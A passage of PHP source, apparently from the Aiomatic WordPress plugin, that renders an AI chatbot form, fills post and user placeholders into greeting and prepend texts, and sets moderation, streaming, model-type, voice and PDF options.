$final_content = ''; $user_name = ''; $featured_image = ''; $post_cats = ''; $post_tagz = ''; $postID = ''; global $post; if(isset($post->ID)) { $post_link = get_permalink($post->ID); $blog_title = html_entity_decode(get_bloginfo('title')); $author_obj = get_user_by('id', $post->post_author); if($author_obj !== false) { $user_name = $author_obj->user_nicename; } $final_content = $post->post_content; $post_title = $post->post_title; $featured_image = ''; wp_suspend_cache_addition(true); $metas = get_post_custom($post->ID); wp_suspend_cache_addition(false); if(is_array($metas)) { $rez_meta = aiomatic_preg_grep_keys('#.+?_featured_ima?ge?#i', $metas); } else { $rez_meta = array(); } if(count($rez_meta) > 0) { foreach($rez_meta as $rm) { if(isset($rm[0]) && filter_var($rm[0], FILTER_VALIDATE_URL)) { $featured_image = $rm[0]; break; } } } if($featured_image == '') { $featured_image = aiomatic_generate_thumbmail($post->ID); } if($featured_image == '' && $final_content != '') { $dom = new DOMDocument(); $internalErrors = libxml_use_internal_errors(true); $dom->loadHTML($final_content); libxml_use_internal_errors($internalErrors); $tags = $dom->getElementsByTagName('img'); foreach ($tags as $tag) { $temp_get_img = $tag->getAttribute('src'); if ($temp_get_img != '') { $temp_get_img = strtok($temp_get_img, '?'); $featured_image = rtrim($temp_get_img, '/'); } } } $post_cats = ''; $post_categories = wp_get_post_categories( $post->ID ); foreach($post_categories as $c){ $cat = get_category( $c ); $post_cats .= $cat->name . ','; } $post_cats = trim($post_cats, ','); if($post_cats != '') { $post_categories = explode(',', $post_cats); } else { $post_categories = array(); } if(count($post_categories) == 0) { $terms = get_the_terms( $post->ID, 'product_cat' ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $post_categories[] = $term->slug; } $post_cats = implode(',', $post_categories); } } $post_tagz = ''; $post_tags = wp_get_post_tags( $post->ID ); foreach($post_tags as $t){ $post_tagz .= $t->name . ','; } $post_tagz = trim($post_tagz, ','); if($post_tagz != '') { $post_tags = explode(',', $post_tagz); } else { $post_tags = array(); } if(count($post_tags) == 0) { $terms = get_the_terms( $post->ID, 'product_tag' ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $post_tags[] = $term->slug; } $post_tagz = implode(',', $post_tags); } } $post_excerpt = $post->post_excerpt; $postID = $post->ID; } $ai_first_message = replaceAIPostShortcodes($ai_first_message, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, '', '', '', '', '', ''); if (filter_var($ai_first_message, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_first_message, '.txt')) { $txt_content = aiomatic_get_web_page($ai_first_message); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $ai_first_message = $txt_content; $ai_first_message = replaceAIPostShortcodes($ai_first_message, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, '', '', '', '', '', ''); } } } } $current_user = wp_get_current_user(); if ( !($current_user instanceof WP_User) || !is_user_logged_in()) { $ai_first_message = str_replace('%%user_name%%', '', $ai_first_message); $ai_first_message = str_replace('%%user_email%%', '' , $ai_first_message); $ai_first_message = str_replace('%%user_display_name%%', '', $ai_first_message); $ai_first_message = str_replace('%%user_role%%', '', $ai_first_message); $ai_first_message = str_replace('%%user_id%%', '' , $ai_first_message); $ai_first_message = str_replace('%%user_firstname%%', '' , $ai_first_message); $ai_first_message = str_replace('%%user_lastname%%', '' , $ai_first_message); $ai_first_message = str_replace('%%user_description%%', '' , $ai_first_message); $ai_first_message = str_replace('%%user_url%%', '' , $ai_first_message); } else { $ai_first_message = str_replace('%%user_name%%', $current_user->user_login, $ai_first_message); $ai_first_message = str_replace('%%user_email%%', $current_user->user_email , $ai_first_message); $ai_first_message = str_replace('%%user_display_name%%', $current_user->display_name, $ai_first_message); $ai_first_message = str_replace('%%user_role%%', implode(',', $current_user->roles), $ai_first_message); $ai_first_message = str_replace('%%user_id%%', $current_user->ID , $ai_first_message); $ai_first_message = str_replace('%%user_firstname%%', $current_user->user_firstname , $ai_first_message); $ai_first_message = str_replace('%%user_lastname%%', $current_user->user_lastname , $ai_first_message); $user_desc = get_the_author_meta( 'description', $current_user->ID ); $ai_first_message = str_replace('%%user_description%%', $user_desc , $ai_first_message); $user_url = get_the_author_meta( 'user_url', $current_user->ID ); $ai_first_message = str_replace('%%user_url%%', $user_url , $ai_first_message); } } $fm = preg_split('/\r\n|\r|\n/', trim($ai_first_message)); $fm = array_filter($fm); if(empty($chat_history)) { $return_me .= '<div class="ai-wrapper">'; if($bubble_alignment != 'right' && !empty($avatar_url) && $show_ai_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-other"></div>'; } $return_me .= '<div class="ai-bubble ai-other">' . $fm[0] . '</div>'; if($bubble_alignment == 'right' && !empty($avatar_url) && $show_ai_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-other"></div>'; } $return_me .= '</div>'; } array_shift($fm); if(count($fm) > 0) { $complete_me .= '<input type="hidden" id="aiomatic_message_input' . $chatid . '" value="' . esc_attr(implode('\r\n', $fm)) . '">'; } } $return_me .= '</div>'; $return_me .= '<textarea id="aiomatic_chat_input' . $chatid . '" rows="2" class="aiomatic_chat_input chat-form-control" placeholder="' . $placeholder . '"'; if(($prompt_editable == 'no' || $prompt_editable === '0' || $prompt_editable == 'off' || $prompt_editable == 'disabled' || $prompt_editable == 'disable' || $prompt_editable == "false") && $prompt_templates !== '') { $return_me .= ' disabled'; } $return_me .= '></textarea>'; if($prompt_templates != '') { $predefined_prompts_arr = explode(';', $prompt_templates); $return_me .= '<select id="aiomatic_image_chat_templates' . $chatid . '" class="cr_width_full">'; $return_me .= '<option disabled selected>' . esc_html($select_prompt) . '</option>'; foreach($predefined_prompts_arr as $sval) { $ppro = explode('|~|~|', $sval); if(isset($ppro[1])) { $return_me .= '<option value="' . esc_attr($ppro[1]) . '">' . esc_html($ppro[0]) . '</option>'; } else { $return_me .= '<option value="' . esc_attr($sval) . '">' . esc_html($sval) . '</option>'; } } $return_me .= '</select>'; } $return_me .= '</div>'; if (isset($aiomatic_Chatbot_Settings['voice_input']) && $aiomatic_Chatbot_Settings['voice_input'] == 'on') { if(!($prompt_editable == 'no' || $prompt_editable === '0' || $prompt_editable == 'off' || $prompt_editable == 'disabled' || $prompt_editable == 'disable' || $prompt_editable == "false") || $prompt_templates == '') { $return_me .= '<button type="button" id="openai-image-chat-speech-button' . $chatid . '" class="openai-image-chat-speech-button sbtn btn-primary" title="Record your voice"> <img src="' . plugins_url('images/mic.ico', __FILE__) . '"> </button>'; } } $return_me .= $complete_me; $return_me .= '<button type="button" id="aiimagechatsubmitbut' . $chatid . '" class="aiimagechatsubmitbut btn btn-primary">' . $submit . '</button> <div id="openai-image-chat-response' . $chatid . '"> </div> <div id="compliance' . $chatid . '" class="aiomatic-text-center cr_fullw">' . $compliance . '</div>'; if(!empty($custom_footer)) { $return_me .= '<div class="openai-custom-footer">' . $custom_footer . '</div>'; } if(!empty($custom_css)) { $return_me .= '<style>' . $custom_css . '</style>'; } $return_me .= '</form> '; } else { $persistent_assistant = false; $user_id = '0'; $chat_history = ''; if(!empty($user_token_cap_per_day) || ($persistent != 'off' && $persistent != '0' && $persistent != '')) { $user_id = get_current_user_id(); if($user_id == 0 && ($persistent_guests == 'on' || $persistent_guests == '1')) { $user_id = aiomatic_get_the_user_ip(); } if(($persistent != 'off' && $persistent != 'logs' && $persistent != 'vector' && $persistent != '0' && $persistent != '') && $user_id != 0) { if(is_numeric($user_id)) { if($assistant_id != '') { $chat_history = get_user_meta($user_id, 'aiomatic_assistant_history_thread', true); if(empty($chat_history)) { $chat_history = ''; } else { $persistent_assistant = true; } } else { $chat_history = get_user_meta($user_id, 'aiomatic_chat_history_' . $persistent, true); if(empty($chat_history)) { $chat_history = ''; } } } else { if($assistant_id != '') { $chat_history = get_transient('aiomatic_assistant_history_thread_' . $user_id); if(empty($chat_history)) { $chat_history = ''; } else { $persistent_assistant = true; } } else { $chat_history = get_transient('aiomatic_chat_history_' . $persistent . '_' . $user_id); if(empty($chat_history)) { $chat_history = ''; } } } } } $name = md5(get_bloginfo()); wp_enqueue_script($name . 'openai-chat-ajax', plugins_url('scripts/openai-chat-ajax.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION); $chat_preppend_text = do_shortcode($chat_preppend_text); if(stristr($chat_preppend_text, '%%') !== false) { $post_link = ''; $post_title = ''; $blog_title = html_entity_decode(get_bloginfo('title')); $post_excerpt = ''; $final_content = ''; $user_name = ''; $featured_image = ''; $post_cats = ''; $post_tagz = ''; $postID = ''; global $post; if(isset($post->ID)) { $post_link = get_permalink($post->ID); $blog_title = html_entity_decode(get_bloginfo('title')); $author_obj = get_user_by('id', $post->post_author); if($author_obj !== false) { $user_name = $author_obj->user_nicename; } $final_content = $post->post_content; $post_title = $post->post_title; $featured_image = ''; wp_suspend_cache_addition(true); $metas = get_post_custom($post->ID); wp_suspend_cache_addition(false); if(is_array($metas)) { $rez_meta = aiomatic_preg_grep_keys('#.+?_featured_ima?ge?#i', $metas); } else { $rez_meta = array(); } if(count($rez_meta) > 0) { foreach($rez_meta as $rm) { if(isset($rm[0]) && filter_var($rm[0], FILTER_VALIDATE_URL)) { $featured_image = $rm[0]; break; } } } if($featured_image == '') { $featured_image = aiomatic_generate_thumbmail($post->ID); } if($featured_image == '' && $final_content != '') { $dom = new DOMDocument(); $internalErrors = libxml_use_internal_errors(true); $dom->loadHTML($final_content); libxml_use_internal_errors($internalErrors); $tags = $dom->getElementsByTagName('img'); foreach ($tags as $tag) { $temp_get_img = $tag->getAttribute('src'); if ($temp_get_img != '') { $temp_get_img = strtok($temp_get_img, '?'); $featured_image = rtrim($temp_get_img, '/'); } } } $post_cats = ''; $post_categories = wp_get_post_categories( $post->ID ); foreach($post_categories as $c){ $cat = get_category( $c ); $post_cats .= $cat->name . ','; } $post_cats = trim($post_cats, ','); if($post_cats != '') { $post_categories = explode(',', $post_cats); } else { $post_categories = array(); } if(count($post_categories) == 0) { $terms = get_the_terms( $post->ID, 'product_cat' ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $post_categories[] = $term->slug; } $post_cats = implode(',', $post_categories); } } $post_tagz = ''; $post_tags = wp_get_post_tags( $post->ID ); foreach($post_tags as $t){ $post_tagz .= $t->name . ','; } $post_tagz = trim($post_tagz, ','); if($post_tagz != '') { $post_tags = explode(',', $post_tagz); } else { $post_tags = array(); } if(count($post_tags) == 0) { $terms = get_the_terms( $post->ID, 'product_tag' ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $post_tags[] = $term->slug; } $post_tagz = implode(',', $post_tags); } } $post_excerpt = $post->post_excerpt; $postID = $post->ID; } $chat_preppend_text = replaceAIPostShortcodes($chat_preppend_text, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, '', '', '', '', '', ''); if (filter_var($chat_preppend_text, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($chat_preppend_text, '.txt')) { $txt_content = aiomatic_get_web_page($chat_preppend_text); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $chat_preppend_text = $txt_content; $chat_preppend_text = replaceAIPostShortcodes($chat_preppend_text, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, '', '', '', '', '', ''); $chat_preppend_text = do_shortcode($chat_preppend_text); } } } } $current_user = wp_get_current_user(); if ( !($current_user instanceof WP_User) || !is_user_logged_in()) { $chat_preppend_text = str_replace('%%user_name%%', '', $chat_preppend_text); $chat_preppend_text = str_replace('%%user_email%%', '' , $chat_preppend_text); $chat_preppend_text = str_replace('%%user_display_name%%', '', $chat_preppend_text); $chat_preppend_text = str_replace('%%user_role%%', '', $chat_preppend_text); $chat_preppend_text = str_replace('%%user_id%%', '' , $chat_preppend_text); $chat_preppend_text = str_replace('%%user_firstname%%', '' , $chat_preppend_text); $chat_preppend_text = str_replace('%%user_lastname%%', '' , $chat_preppend_text); $chat_preppend_text = str_replace('%%user_description%%', '' , $chat_preppend_text); $chat_preppend_text = str_replace('%%user_url%%', '' , $chat_preppend_text); } else { $chat_preppend_text = str_replace('%%user_name%%', $current_user->user_login, $chat_preppend_text); $chat_preppend_text = str_replace('%%user_email%%', $current_user->user_email , $chat_preppend_text); $chat_preppend_text = str_replace('%%user_display_name%%', $current_user->display_name , $chat_preppend_text); $chat_preppend_text = str_replace('%%user_role%%', implode(',', $current_user->roles), $chat_preppend_text); $chat_preppend_text = str_replace('%%user_id%%', $current_user->ID , $chat_preppend_text); $chat_preppend_text = str_replace('%%user_firstname%%', $current_user->user_firstname , $chat_preppend_text); $chat_preppend_text = str_replace('%%user_lastname%%', $current_user->user_lastname , $chat_preppend_text); $user_desc = get_the_author_meta( 'description', $current_user->ID ); $chat_preppend_text = str_replace('%%user_description%%', $user_desc , $chat_preppend_text); $user_url = get_the_author_meta( 'user_url', $current_user->ID ); $chat_preppend_text = str_replace('%%user_url%%', $user_url , $chat_preppend_text); } } if(stristr($ai_message_preppend, '%%') !== false) { $post_link = ''; $post_title = ''; $blog_title = html_entity_decode(get_bloginfo('title')); $post_excerpt = ''; $final_content = ''; $user_name = ''; $featured_image = ''; $post_cats = ''; $post_tagz = ''; $postID = ''; global $post; if(isset($post->ID)) { $post_link = get_permalink($post->ID); $blog_title = html_entity_decode(get_bloginfo('title')); $author_obj = get_user_by('id', $post->post_author); if($author_obj !== false) { $user_name = $author_obj->user_nicename; } $final_content = $post->post_content; $post_title = $post->post_title; $featured_image = ''; wp_suspend_cache_addition(true); $metas = get_post_custom($post->ID); wp_suspend_cache_addition(false); if(is_array($metas)) { $rez_meta = aiomatic_preg_grep_keys('#.+?_featured_ima?ge?#i', $metas); } else { $rez_meta = array(); } if(count($rez_meta) > 0) { foreach($rez_meta as $rm) { if(isset($rm[0]) && filter_var($rm[0], FILTER_VALIDATE_URL)) { $featured_image = $rm[0]; break; } } } if($featured_image == '') { $featured_image = aiomatic_generate_thumbmail($post->ID); } if($featured_image == '' && $final_content != '') { $dom = new DOMDocument(); $internalErrors = libxml_use_internal_errors(true); $dom->loadHTML($final_content); libxml_use_internal_errors($internalErrors); $tags = $dom->getElementsByTagName('img'); foreach ($tags as $tag) { $temp_get_img = $tag->getAttribute('src'); if ($temp_get_img != '') { $temp_get_img = strtok($temp_get_img, '?'); $featured_image = rtrim($temp_get_img, '/'); } } } $post_cats = ''; $post_categories = wp_get_post_categories( $post->ID ); foreach($post_categories as $c){ $cat = get_category( $c ); $post_cats .= $cat->name . ','; } $post_cats = trim($post_cats, ','); if($post_cats != '') { $post_categories = explode(',', $post_cats); } else { $post_categories = array(); } if(count($post_categories) == 0) { $terms = get_the_terms( $post->ID, 'product_cat' ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $post_categories[] = $term->slug; } $post_cats = implode(',', $post_categories); } } $post_tagz = ''; $post_tags = wp_get_post_tags( $post->ID ); foreach($post_tags as $t){ $post_tagz .= $t->name . ','; } $post_tagz = trim($post_tagz, ','); if($post_tagz != '') { $post_tags = explode(',', $post_tagz); } else { $post_tags = array(); } if(count($post_tags) == 0) { $terms = get_the_terms( $post->ID, 'product_tag' ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $post_tags[] = $term->slug; } $post_tagz = implode(',', $post_tags); } } $post_excerpt = $post->post_excerpt; $postID = $post->ID; } $ai_message_preppend = replaceAIPostShortcodes($ai_message_preppend, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, '', '', '', '', '', ''); if (filter_var($ai_message_preppend, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_message_preppend, '.txt')) { $txt_content = aiomatic_get_web_page($ai_message_preppend); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $ai_message_preppend = $txt_content; $ai_message_preppend = replaceAIPostShortcodes($ai_message_preppend, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, '', '', '', '', '', ''); } } } } $current_user = wp_get_current_user(); if ( !($current_user instanceof WP_User) || !is_user_logged_in()) { $ai_message_preppend = str_replace('%%user_name%%', '', $ai_message_preppend); $ai_message_preppend = str_replace('%%user_email%%', '' , $ai_message_preppend); $ai_message_preppend = str_replace('%%user_display_name%%', '', $ai_message_preppend); $ai_message_preppend = str_replace('%%user_role%%', '', $ai_message_preppend); $ai_message_preppend = str_replace('%%user_id%%', '' , $ai_message_preppend); $ai_message_preppend = str_replace('%%user_firstname%%', '' , $ai_message_preppend); $ai_message_preppend = str_replace('%%user_lastname%%', '' , $ai_message_preppend); $ai_message_preppend = str_replace('%%user_description%%', '' , $ai_message_preppend); $ai_message_preppend = str_replace('%%user_url%%', '' , $ai_message_preppend); } else { $ai_message_preppend = str_replace('%%user_name%%', $current_user->user_login, $ai_message_preppend); $ai_message_preppend = str_replace('%%user_email%%', $current_user->user_email , $ai_message_preppend); $ai_message_preppend = str_replace('%%user_display_name%%', $current_user->display_name , $ai_message_preppend); $ai_message_preppend = str_replace('%%user_role%%', implode(',', $current_user->roles), $ai_message_preppend); $ai_message_preppend = str_replace('%%user_id%%', $current_user->ID , $ai_message_preppend); $ai_message_preppend = str_replace('%%user_firstname%%', $current_user->user_firstname , $ai_message_preppend); $ai_message_preppend = str_replace('%%user_lastname%%', $current_user->user_lastname , $ai_message_preppend); $user_desc = get_the_author_meta( 'description', $current_user->ID ); $ai_message_preppend = str_replace('%%user_description%%', $user_desc , $ai_message_preppend); $user_url = get_the_author_meta( 'user_url', $current_user->ID ); $ai_message_preppend = str_replace('%%user_url%%', $user_url , $ai_message_preppend); } } if(stristr($user_message_preppend, '%%') !== false) { $post_link = ''; $post_title = ''; $blog_title = html_entity_decode(get_bloginfo('title')); $post_excerpt = ''; $final_content = ''; $user_name = ''; $featured_image = ''; $post_cats = ''; $post_tagz = ''; $postID = ''; global $post; if(isset($post->ID)) { $post_link = get_permalink($post->ID); $blog_title = html_entity_decode(get_bloginfo('title')); $author_obj = get_user_by('id', $post->post_author); if($author_obj !== false) { $user_name = $author_obj->user_nicename; } $final_content = $post->post_content; $post_title = $post->post_title; $featured_image = ''; wp_suspend_cache_addition(true); $metas = get_post_custom($post->ID); wp_suspend_cache_addition(false); if(is_array($metas)) { $rez_meta = aiomatic_preg_grep_keys('#.+?_featured_ima?ge?#i', $metas); } else { $rez_meta = array(); } if(count($rez_meta) > 0) { foreach($rez_meta as $rm) { if(isset($rm[0]) && filter_var($rm[0], FILTER_VALIDATE_URL)) { $featured_image = $rm[0]; break; } } } if($featured_image == '') { $featured_image = aiomatic_generate_thumbmail($post->ID); } if($featured_image == '' && $final_content != '') { $dom = new DOMDocument(); $internalErrors = libxml_use_internal_errors(true); $dom->loadHTML($final_content); libxml_use_internal_errors($internalErrors); $tags = $dom->getElementsByTagName('img'); foreach ($tags as $tag) { $temp_get_img = $tag->getAttribute('src'); if ($temp_get_img != '') { $temp_get_img = strtok($temp_get_img, '?'); $featured_image = rtrim($temp_get_img, '/'); } } } $post_cats = ''; $post_categories = wp_get_post_categories( $post->ID ); foreach($post_categories as $c){ $cat = get_category( $c ); $post_cats .= $cat->name . ','; } $post_cats = trim($post_cats, ','); if($post_cats != '') { $post_categories = explode(',', $post_cats); } else { $post_categories = array(); } if(count($post_categories) == 0) { $terms = get_the_terms( $post->ID, 'product_cat' ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $post_categories[] = $term->slug; } $post_cats = implode(',', $post_categories); } } $post_tagz = ''; $post_tags = wp_get_post_tags( $post->ID ); foreach($post_tags as $t){ $post_tagz .= $t->name . ','; } $post_tagz = trim($post_tagz, ','); if($post_tagz != '') { $post_tags = explode(',', $post_tagz); } else { $post_tags = array(); } if(count($post_tags) == 0) { $terms = get_the_terms( $post->ID, 'product_tag' ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $post_tags[] = $term->slug; } $post_tagz = implode(',', $post_tags); } } $post_excerpt = $post->post_excerpt; $postID = $post->ID; } $user_message_preppend = replaceAIPostShortcodes($user_message_preppend, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, '', '', '', '', '', ''); if (filter_var($user_message_preppend, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($user_message_preppend, '.txt')) { $txt_content = aiomatic_get_web_page($user_message_preppend); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $user_message_preppend = $txt_content; $user_message_preppend = replaceAIPostShortcodes($user_message_preppend, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, '', '', '', '', '', ''); } } } } $current_user = wp_get_current_user(); if ( !($current_user instanceof WP_User) || !is_user_logged_in()) { $user_message_preppend = str_replace('%%user_name%%', '', $user_message_preppend); $user_message_preppend = str_replace('%%user_email%%', '' , $user_message_preppend); $user_message_preppend = str_replace('%%user_display_name%%', '', $user_message_preppend); $user_message_preppend = str_replace('%%user_role%%', '', $user_message_preppend); $user_message_preppend = str_replace('%%user_id%%', '' , $user_message_preppend); $user_message_preppend = str_replace('%%user_firstname%%', '' , $user_message_preppend); $user_message_preppend = str_replace('%%user_lastname%%', '' , $user_message_preppend); $user_message_preppend = str_replace('%%user_description%%', '' , $user_message_preppend); $user_message_preppend = str_replace('%%user_url%%', '' , $user_message_preppend); } else { $user_message_preppend = str_replace('%%user_name%%', $current_user->user_login, $user_message_preppend); $user_message_preppend = str_replace('%%user_email%%', $current_user->user_email , $user_message_preppend); $user_message_preppend = str_replace('%%user_display_name%%', $current_user->display_name , $user_message_preppend); $user_message_preppend = str_replace('%%user_role%%', implode(',', $current_user->roles), $user_message_preppend); $user_message_preppend = str_replace('%%user_id%%', $current_user->ID , $user_message_preppend); $user_message_preppend = str_replace('%%user_firstname%%', $current_user->user_firstname , $user_message_preppend); $user_message_preppend = str_replace('%%user_lastname%%', $current_user->user_lastname , $user_message_preppend); $user_desc = get_the_author_meta( 'description', $current_user->ID ); $user_message_preppend = str_replace('%%user_description%%', $user_desc , $user_message_preppend); $user_url = get_the_author_meta( 'user_url', $current_user->ID ); $user_message_preppend = str_replace('%%user_url%%', $user_url , $user_message_preppend); } } $enable_moderation = '0'; if (isset($aiomatic_Chatbot_Settings['enable_moderation']) && $aiomatic_Chatbot_Settings['enable_moderation'] == 'on') { $enable_moderation = '1'; } if (isset($aiomatic_Chatbot_Settings['moderation_model']) && $aiomatic_Chatbot_Settings['moderation_model'] == 'on') { $moderation_model = $aiomatic_Chatbot_Settings['moderation_model']; } else { $moderation_model = 'text-moderation-stable'; } if (isset($aiomatic_Chatbot_Settings['flagged_message']) && $aiomatic_Chatbot_Settings['flagged_message'] == 'on') { $flagged_message = $aiomatic_Chatbot_Settings['flagged_message']; } else { $flagged_message = 'Your message has been flagged as potentially harmful or inappropriate. Please review your language and content to ensure it aligns with our values of respect and sensitivity towards others. Thank you for your cooperation.'; } if (isset($aiomatic_Chatbot_Settings['enable_copy']) && $aiomatic_Chatbot_Settings['enable_copy'] == 'on') { $enable_copy = $aiomatic_Chatbot_Settings['enable_copy']; } else { $enable_copy = '0'; } if (isset($aiomatic_Chatbot_Settings['scroll_bot']) && $aiomatic_Chatbot_Settings['scroll_bot'] == 'on') { $scroll_bot = $aiomatic_Chatbot_Settings['scroll_bot']; } else { $scroll_bot = '0'; } $max_messages = ''; if (isset($aiomatic_Chatbot_Settings['max_message_count']) && $aiomatic_Chatbot_Settings['max_message_count'] != '' && is_numeric($aiomatic_Chatbot_Settings['max_message_count'])) { $max_messages = $aiomatic_Chatbot_Settings['max_message_count']; } $max_message_context = ''; if (isset($aiomatic_Chatbot_Settings['max_message_context']) && $aiomatic_Chatbot_Settings['max_message_context'] != '' && is_numeric($aiomatic_Chatbot_Settings['max_message_context'])) { $max_message_context = $aiomatic_Chatbot_Settings['max_message_context']; } $no_empty = ''; if (isset($aiomatic_Chatbot_Settings['no_empty']) && trim($aiomatic_Chatbot_Settings['no_empty']) == 'on' && empty($input_text)) { $no_empty = '1'; } if($persistent_assistant == true) { $thread_id = $chat_history; } else { $thread_id = ''; } if ((isset($aiomatic_Main_Settings['did_app_id']) && trim($aiomatic_Main_Settings['did_app_id']) != '')) { $did_app_id = trim($aiomatic_Main_Settings['did_app_id']); } else { $did_app_id = ''; } $did_image = ''; if(!empty($avatar_url)) { $did_image = $avatar_url; } if(isset($aiomatic_Chatbot_Settings['did_image']) && $aiomatic_Chatbot_Settings['did_image'] != '') { $did_image = $aiomatic_Chatbot_Settings['did_image']; } if(isset($overwrite_avatar_image) && !empty(trim($overwrite_avatar_image))) { $did_image = trim($overwrite_avatar_image); } if(isset($disable_streaming) && ($disable_streaming == 'on' || $disable_streaming == '1' || $disable_streaming == 'yes')) { $did_image = ''; } if(isset($aiomatic_Chatbot_Settings['did_voice']) && $aiomatic_Chatbot_Settings['did_voice'] != '') { $did_voice = $aiomatic_Chatbot_Settings['did_voice']; } else { $did_voice = 'microsoft:en-US-JennyNeural:Cheerful'; } if(aiomatic_is_claude_model($model)) { $stream_url = esc_html(add_query_arg(array( 'aiomatic_claude_stream' => 'yes', 'nonce' => wp_create_nonce('aiomatic-streaming-nonce') ), site_url() . '/index.php')); } else { $stream_url = esc_html(add_query_arg(array( 'aiomatic_stream' => 'yes', 'nonce' => wp_create_nonce('aiomatic-streaming-nonce') ), site_url() . '/index.php')); } if(aiomatic_is_claude_model($model)) { $model_type = 'claude'; } else { if(aiomatic_is_google_model($model)) { $model_type = 'google'; } elseif(aiomatic_is_huggingface_model($model)) { $model_type = 'huggingface'; } elseif(aiomatic_is_ollama_model($model)) { $model_type = 'ollama'; } else { $model_type = 'gpt'; } } if (isset($aiomatic_Main_Settings['pdf_ok']) && trim($aiomatic_Main_Settings['pdf_ok']) != '') { $pdf_ok = trim($aiomatic_Main_Settings['pdf_ok']); } else { $pdf_ok = 'PDF file uploaded successfully! You can ask questions about it.'; } if (isset($aiomatic_Main_Settings['pdf_end']) && trim($aiomatic_Main_Settings['pdf_end']) != '') { $pdf_end = trim($aiomatic_Main_Settings['pdf_end']); } else { $pdf_end = 'PDF file session ended.'; } if (isset($aiomatic_Main_Settings['pdf_fail']) && trim($aiomatic_Main_Settings['pdf_fail']) != '') { $pdf_fail = trim($aiomatic_Main_Settings['pdf_fail']); } else { $pdf_fail = 'Failed to upload the PDF file, please try again later.'; } $is_modern_gpt = '0'; if (!isset($aiomatic_Chatbot_Settings['disable_modern_chat']) || $aiomatic_Chatbot_Settings['disable_modern_chat'] != 'on') { if(empty(trim($assistant_id))) { $checkappids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $checkappids = array_filter($checkappids); $checktoken = $checkappids[array_rand($checkappids)]; if(!aiomatic_is_aiomaticapi_key($checktoken) && (!aiomatic_check_if_azure_or_others($aiomatic_Main_Settings, $model) || aiomatic_is_perplexity_model($model))) { if(aiomatic_is_chatgpt_model($model) || aiomatic_is_chatgpt_turbo_model($model) || aiomatic_is_perplexity_model($model) || aiomatic_is_chatgpt_o_model($model)) { $is_modern_gpt = '1'; } } } } if($voice_color_activated == '') { if (isset($aiomatic_Chatbot_Settings['voice_color_activated']) && $aiomatic_Chatbot_Settings['voice_color_activated'] != '') { $voice_color_activated = $aiomatic_Chatbot_Settings['voice_color_activated']; } } if($voice_color == '') { if (isset($aiomatic_Chatbot_Settings['voice_color']) && $aiomatic_Chatbot_Settings['voice_color'] != '') { $voice_color = $aiomatic_Chatbot_Settings['voice_color']; } } if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } $all_ok = true; if (!is_plugin_active('aiomatic-extension-pdf-files/aiomatic-extension-pdf-files.php')) { $all_ok = false; } if (isset($aiomatic_Chatbot_Settings['chat_download_format']) && $aiomatic_Chatbot_Settings['chat_download_format'] != '' && $all_ok === true) { $chat_download_format = $aiomatic_Chatbot_Settings['chat_download_format']; } else { $chat_download_format = 'txt'; } if (isset($aiomatic_Chatbot_Settings['auto_submit_voice']) && $aiomatic_Chatbot_Settings['auto_submit_voice'] == 'on') { $auto_submit_voice = 'on'; } else { $auto_submit_voice = 'off'; } if ($send_message_sound == '' && isset($aiomatic_Chatbot_Settings['send_message_sound']) && trim($aiomatic_Chatbot_Settings['send_message_sound']) != '') { $send_message_sound = trim($aiomatic_Chatbot_Settings['send_message_sound']); } if ($receive_message_sound == '' && isset($aiomatic_Chatbot_Settings['receive_message_sound']) && trim($aiomatic_Chatbot_Settings['receive_message_sound']) != '') { $receive_message_sound = trim($aiomatic_Chatbot_Settings['receive_message_sound']); } if ($response_delay == '' && isset($aiomatic_Chatbot_Settings['response_delay']) && trim($aiomatic_Chatbot_Settings['response_delay']) != '') { 